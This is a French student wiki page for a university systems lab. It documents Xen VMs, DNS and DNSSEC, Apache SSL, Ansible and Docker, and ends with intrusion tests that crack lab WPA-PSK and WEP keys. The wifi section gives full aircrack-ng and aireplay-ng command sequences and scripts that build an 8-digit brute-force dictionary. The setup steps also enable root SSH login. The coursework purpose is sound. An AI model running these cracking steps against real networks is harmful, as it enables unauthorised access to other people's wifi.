TP sysres IMA5sc 2019/2020 G4 : Différence entre versions
(→Serveur DNS) |
m (→Création de votre conteneur) |
||
| Ligne 396 : | Ligne 396 : | ||
Puis on la run: | Puis on la run: | ||
docker run -dit -p 1234:80 webserver:v1 | docker run -dit -p 1234:80 webserver:v1 | ||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
====Configuration de vos serveurs internes==== | ====Configuration de vos serveurs internes==== | ||
Version du 16 décembre 2019 à 15:00
Sommaire
Installation des systèmes d’exploitation: machine virtuelle Xen
Lors de la 1ère séance:
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen. On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.
ssh root@cordouan.insecserv.deule.net export http_proxy=http://proxy.polytech.fr:3128 xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force
Adresse MAC obtenue: 00:16:3E:83:27:97
Lors de la 2ème séance:
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg
#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#
#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'
vcpus = '1'
memory = '256'
#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]
#
# Hostname
#
name = 'chlamydiae'
#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]
#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'
Architecture réseau
Services Internet
Serveur SSH
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.
On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae xl create chlamydiae.cfg
Pour se connecter a une VM:
xl console chlamydiae
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface auto eth0 iface eth0 inet static address 193.48.57.180 netmask 255.255.255.240
Puis ifup / ifdown de eth0.
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.
Serveur DNS
On fait d'abord la demande de certificat sur Gandi.
Ensuite pour la configuration du DNS: - on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;
Sur Cordouan on installe bind9:
apt install bind9 bind9-host dnsutils
Modification de la configuration de bind9 :
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :
; ; BIND data file for local loopback interface ; $TTL 604800 @ IN SOA ns.chlamydiae.site. root.chlamydiae.site ( 3 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; IN NS ns.chlamydiae.site. IN NS ns6.gandi.net. @ IN A 193.48.57.180 ns IN A 193.48.57.180 www IN A 193.48.57.180
Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :
zone "chlamydiae.site" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.
On redémarre bind9 :
service bind9 restart
En cas d'erreur on a accès au log dans /var/log/daemon.log
Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter:
name : ns.chlamydiae.site IP address : 193.48.57.180
C'est l'association du serveur DNS créé avec notre adresse IP:
Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site DNS 2: ns6.gandi.net
Serveur Apache
Création du dossier /var/www/www.chlamydiae.pw
- Certification SSL :
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.
- Configuration Apache :
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf
<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined
SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>
Redirection automatique du port http vers le port https
<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
DNSSEC
Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options:
dnssec-enable yes;
Puis, nous créons le répertoire chlamydiae.site.dnssec dossier où on générera les clés. Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key chlamydiae.site-ksk.private chlamydiae.site-zsk.key chlamydiae.site-zsk.private
On inclue alors nos clefs en les ajoutant dans le fichier de zone /etc/bind/chlamydiae :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
On signe les enregistrements de la zone en exécutant la commande suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk
Maintenant que notre zone est signé.On modifie le fichier named.conf.local pour utiliser le fichier de zone signé :
file "/etc/bind/db.hadess.space.signed";
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.
Enfin, on relance le service bind :
service bind9 restart
Ferme de serveurs Web
Architecture générale de la ferme
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net # export http_proxy=http://proxy.plil.fr:3128 # export https_proxy=http://proxy.plil.fr:3128 # xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force
On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ : Pour la première (chlamydiae):
vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]
Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]
On augmente également la mémoire à 512M pour les deux.
Dans la chlamydiae/etc/network/interfaces:
auto eth1 iface eth1 inet static address 192.168.0.14 # = adresse de private-chlamydiae + 10 netmask 255.255.255.0
Dans private-chlamydiae/etc/network/interfaces:
auto eth0 iface eth0 inet static gateway 193.48.57.180 # l'adresse de la VM principale address 192.168.0.4
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.
Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24 iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24 iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24 echo 1 > /proc/sys/net/ipv4/ip_forward
Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...
On lance le playbook:
ansible-playbook jeu-lsb-release.yml
On obtient le résultat suivant:
Paramétrage des rôles
Crée un dossier roles dans /root
mkdir roles
Créer dans le dossier roles un dossier common et un fichier common.yml
mkdir common && vim common.yml
Dans le fichier Common.yml:
---
- hosts: nous
tasks:
- name: include common
include_role:
name: common
Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.
Motd
Dans le dossier tasks on crée un fichier main.yml:
- name: Write on motd
copy:
dest: /etc/motd
src: motd
Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle. Ce fichier motd contiendra notre message.
NTP
Pour le serveur de temps dans le fichier main.yml on ajoute:
- name: install ntp
apt:
name: ntp
- name: install ntpdate
apt:
name: ntpdate
- name: Copy over the NTP configuration
copy: src=ntp.conf dest=/etc/ntp.conf
tags: ntp
- name: Stop ntp
service: name=ntp state=stopped enabled=yes
tags: ntpd
- name: Sync time initialy
shell: ntpdate ntp.polytech-lille.fr
tags: ntp
- name: Make sure NTP is started up
service: name=ntp state=started enabled=yes
tags: ntp
Dans le dossier files on crée ntp.conf qui référence notre NTP:
server ntp.polytech-lille.fr
Installation de docker
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)
Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...
Ça fonctionne, on obtient sur la machine principale:
Sur la machine secondaire, on voit bien que docker a été installé:
Création de votre conteneur
On suit ce tutoriel: https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e
Pour tester la partie docker indépendamment, sur la machine secondaire:
- - on crée notre index.html (basique)
- - on crée notre dockerfile:
FROM centos:latest MAINTAINER NewstarCorporation RUN yum -y install httpd COPY index.html /var/www/html/ CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”] EXPOSE 80
On crée l'image:
docker build DockerFiles/ -t webserver:v1
Puis on la run:
docker run -dit -p 1234:80 webserver:v1
Configuration de vos serveurs internes
Equilibreur de charge
Tests d’intrusion
Cassage de mot de passe WPA-PSK par force brute
Lors de la 2ème séance:
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.
D'abord on vérifie que le Wi-Pi est connecté:
ls usb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:
Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()
Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}
On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap
On obtient le résultat suivant:
Cassage de clef WEP d’un point d’accès Wifi
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9
Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap
On obtient alors le résultat suivant:
